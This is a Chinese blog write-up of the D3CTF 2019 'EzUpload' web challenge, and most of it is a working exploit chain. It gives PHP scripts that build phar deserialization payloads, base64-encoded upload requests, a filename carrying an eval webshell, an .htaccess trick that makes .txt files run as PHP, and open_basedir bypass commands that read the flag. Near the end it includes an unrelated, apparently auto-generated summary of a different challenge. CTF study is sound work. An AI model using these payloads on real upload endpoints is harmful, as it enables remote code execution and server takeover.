[D3CTF 2019]EzUpload 84

知识点:phar反序列化,.htaccess

phar反序列化

这篇讲的非常细:[https://www.cnblogs.com/zzjdbk/p/13030571.html]

原理
phar://可以解析一个phar的php打包程序,且phar打包程序里有我们的shell
那么phar打包文件怎么生成呢?
只要访问页面,就可以通过下面这个来生成一个.phar。

<?php
#要把php.ini中的phar.readonly设置成Off,不然无法生成phar文件
    class TestObject {
    }
    $phar = new Phar("phar.phar"); //后缀名必须为phar
    $phar->startBuffering();
    $phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub
    $o = new TestObject();
    $o -> data='hu3sky';
    $phar->setMetadata($o); 
    //将自定义的meta-data存入manifest,且这部分是以序列化的形式存在
    $phar->addFromString("test.txt", "test"); //添加要压缩的文件,因为phar相当于一个解压缩,前提就是要现有.phar文件,然后又因为meta-data是由序列化存储,这边添加一个压缩文件包,就是为了在用phar://伪协议的时候触发meta-data的反序列化
    //签名自动计算
    $phar->stopBuffering();
?>

phar://是怎么执行.phar中的shell的呢?
我们可以看一下.phar的构造,可以清晰的看到里面的meta-data部分,是以序列化的形式构成的。
在这里插入图片描述
且在php中有一部分的函数是可以在通过phar://伪协议解析phar文件时,反序列此文件,从而执行meta-data中的内容。
可以反序列化meta-data的函数图
在这里插入图片描述
phar利用条件:(来自上面的那篇博客

 1. php文件要能够上传到服务器端。
 2. 如file_exists(),fopen(),file_get_contents(),file()等文件操作的函数
 3. 要有可用的魔术方法作为“跳板”。
 4. 文件操作函数的参数可控,且:、/、phar等特殊字符没有被过滤。

注意点

析构函数执行时会改变当前的工作路径,会改为apache的目录。

__destruct下的默认路径为系统根目录,而不是web的根目录,所以要想办法获得我们上传文件的绝对路径。

Write up

这边我就不放过滤函数了。

<?php
class dir{
    public $userdir;
    public $url;
    public $filename;
    public function __construct($url,$filename) {
        $this->userdir = "upload/" . md5($_SERVER["REMOTE_ADDR"]);//ip地址md5加密,作为文件夹名字
        $this->url = $url;
        $this->filename  =  $filename;
        if (!file_exists($this->userdir)) {//创建一个文件夹
        //如果此ip目录不存在,则创建一个目录,且最大可能的访问权(0777),允许多级嵌套
            mkdir($this->userdir, 0777, true);
        }
    }
    public function upload(){
        $this->checkdir();
        $this->checkurl();
        $this->checkext();
        $content = file_get_contents($this->url,NULL,NULL,0,2048);//可以触发phar://执行我们在__destruct里面写的文件,也就是.phar
        if (preg_match("/\<\?|value|on|type|flag|auto|set|\\\\/i", $content)){
            //上传的文件内容不能有上面那些
            die('hacker!!!');
        }
        file_put_contents($this->userdir."/".$this->filename,$content);//把内容写入userdir/filename中,内容为url的内容
    }
    
    public function __toString() {
        return implode(" ",scandir(__DIR__."/".$this->userdir));
         //将一个一维数组的值转化为字符串
    }
    public function __destruct() {
        //对象结束时候掉用,返回目录名,及文件名
        $string = "your file in : ".$this->userdir;
        file_put_contents($this->filename.".txt", $string);
    }
}

思路:可以通过upload里的file_get_contents:$this->url,来触发phar反序列化,从而触发__destructfile_put_contents进行写文件,虽然只能写.txt类型的文件,但我们可以上传.htaccess文件来php解析,又因为析构函数与__destruct目录路径的问题,所以我们还要知道它的绝对路径,以绝对路径写入我们的文件,可以通过__toString来获得。

先获取它的绝对路径

<?php
    class dir{
    public $userdir;
    public $url;
    public $filename;
    }
 
   $phar = new Phar("phar.phar"); //后缀名必须为phar
   $phar->startBuffering();
   $phar->setStub(" __HALT_COMPILER(); "); //设置stub
   $o = new dir();
   $a = new dir();
   $a->userdir='../';
   $o->userdir=$a;
   $phar->setMetadata($o); //将自定义的meta-data存入manifest
    $phar->addFromString("test.txt", "test"); //添加要压缩的文件
    //签名自动计算
    $phar->stopBuffering();
?>

先把能获取路径的phar文件的base64上传

action=upload&filename=mull.txt&url=data:image/png;base64,IF9fSEFMVF9DT01QSUxFUigpOyA/Pg0KsgAAAAEAAAARAAAAAQAAAAAAfAAAAE86MzoiZGlyIjozOntzOjc6InVzZXJkaXIiO086MzoiZGlyIjozOntzOjc6InVzZXJkaXIiO3M6MzoiLi4vIjtzOjM6InVybCI7TjtzOjg6ImZpbGVuYW1lIjtOO31zOjM6InVybCI7TjtzOjg6ImZpbGVuYW1lIjtOO30IAAAAdGVzdC50eHQEAAAA3PNDYgQAAAAMfn/YtgEAAAAAAAB0ZXN0H0IYEtttGKjXmOSmTMu7uLMCO3ICAAAAR0JNQg==

在用phar://反序列化

action=upload&filename=&url=phar://upload/cc551ab005b2e60fbdc88de809b2c4b1/mull.txt

原因是:
在这里插入图片描述
这边的string连接了两个字符串,触发了__toString,返回scandir(__DIR__."/"."../")上级目录。
在这里插入图片描述
现在我们就可以看到我们的上级路径。
在这里插入图片描述
然后我们需要传一个带有一句话木马文件名的文件,等会要用。

action=upload&filename=<?php eval($_GET['cmd']); ?>.txt&url=http://xxx

接下来就是要写包含一句话木马的文件了。

<?php
    class dir{
    public $userdir;
    public $url;
    public $filename;
    }
   $phar = new Phar("phar.phar"); //后缀名必须为phar
   $phar->startBuffering();
   $phar->setStub(" __HALT_COMPILER(); "); //设置stub
   $o = new dir();
   $a = new dir();
   $a->userdir='upload/cc551ab005b2e60fbdc88de809b2c4b1/';
   $o -> filename= '/var/www/html/61cb6463141119ab/upload/cc551ab005b2e60fbdc88de809b2c4b1/webshell';
   $o->userdir=$a;
   $phar->setMetadata($o); //将自定义的meta-data存入manifest
   $phar->addFromString("test.txt", "test"); //添加要压缩的文件
    //签名自动计算
   $phar->stopBuffering();
?>

这边用的还是这个
在这里插入图片描述
原理:使得$string = "your file in : ".$this->userdir;触发__toString,而__toString会返回return implode(" ",scandir(__DIR__."/".$this->userdir));,也就是我们传上去的所有文件名,包括一句话木马,然后写入filename,又因为__destruct,我们需要上传绝对路径,因为__destruct默认是系统根目录,而不是web根目录,我们要在网站里访问我们的文件,所以要以绝对路径写。

action=upload&filename=phar.txt&url=data:image/png;base64,IF9fSEFMVF9DT01QSUxFUigpOyA/Pg0KLQEAAAEAAAARAAAAAQAAAAAA9wAAAE86MzoiZGlyIjozOntzOjc6InVzZXJkaXIiO086MzoiZGlyIjozOntzOjc6InVzZXJkaXIiO3M6NDA6InVwbG9hZC9jYzU1MWFiMDA1YjJlNjBmYmRjODhkZTgwOWIyYzRiMS8iO3M6MzoidXJsIjtOO3M6ODoiZmlsZW5hbWUiO047fXM6MzoidXJsIjtOO3M6ODoiZmlsZW5hbWUiO3M6Nzk6Ii92YXIvd3d3L2h0bWwvNjFjYjY0NjMxNDExMTlhYi91cGxvYWQvY2M1NTFhYjAwNWIyZTYwZmJkYzg4ZGU4MDliMmM0YjEvd2Vic2hlbGwiO30IAAAAdGVzdC50eHQEAAAAqPxDYgQAAAAMfn/YtgEAAAAAAAB0ZXN03BgnoIJsZcZoI7qPifWAxeFFBnICAAAAR0JNQg==

在这里插入图片描述
虽然此时我们的webshell文件已经包含shell,但是它还是.txt格式,所以我们要上传一个.htaccess解析它。

action=upload&filename=.htaccess&url=data:image/png;base64,QWRkSGFuZGxlciBwaHA3LXNjcmlwdCAudHh0

然后再访问webshell.txt,,写shell,这样读文件是因为有open_basdir

详细解读:https://xz.aliyun.com/t/4720#toc-4

?cmd=ini_set(%27open_basedir%27,%20%27..%27);chdir(%27..%27);chdir(%27..%27);chdir(%27..%27);chdir(%27..%27);chdir(%27..%27);chdir(%27..%27);ini_set(%27open_basedir%27,%20%27/%27);var_dump(scandir(%27/%27));

在这里插入图片描述

?cmd=ini_set(%27open_basedir%27,%20%27..%27);chdir(%27..%27);chdir(%27..%27);chdir(%27..%27);chdir(%27..%27);chdir(%27..%27);chdir(%27..%27);ini_set(%27open_basedir%27,%20%27/%27);var_dump(file_get_contents(%27/F1aG_1s_H4r4%27));

在这里插入图片描述

参考:
https://www.jianshu.com/p/4bf8614fb944
https://nikoeurus.github.io/2019/11/26/D%5E3ctf-Web/#ezupload

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
回答: \[1\]根据引用\[1\]中的描述,当将Smarty嵌入到CI框架中时,可能使用的是一个兼容低版本Smarty的引擎,而不是最新的Smarty引擎。这可能是因为参考的文章比较旧,导致整合时选择了兼容低版本的引擎。 \[2\]引用\[2\]中提到,CI框架的类是按需加载的,而不是自动加载的。这导致在全局搜索__destruct方法时可能会出现很多结果,但实际上无法使用。这可能是导致pop链不好找的一个重要原因。 \[3\]引用\[3\]中提到,在phpinfo中发现了一个flag,这表明还有另一种方法可以获取flag,即通过get_the_flag方法。然而,get_the_flag方法有两个过滤条件,一个是不允许出现"<?",另一个是对文件头字节进行过滤。作者提到可以传递一个文本文件,内容进行base64编码,并加上图片头字节,然后再传递一个.htaccess文件进行解码。 综上所述,\[D3CTF 2019\]EasyWeb可能涉及到使用兼容低版本的Smarty引擎、按需加载的类导致pop链难以找到,以及通过绕过过滤条件来获取flag的方法。 #### 引用[.reference_title] - *1* *2* [d3ctf easyweb题解](https://blog.csdn.net/weixin_42474164/article/details/116281650)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^koosearch_v1,239^v3^insert_chatgpt"}} ] [.reference_item] - *3* [[SUCTF 2019]EasyWeb](https://blog.csdn.net/shinygod/article/details/124045024)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^koosearch_v1,239^v3^insert_chatgpt"}} ] [.reference_item] [ .reference_list ]

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值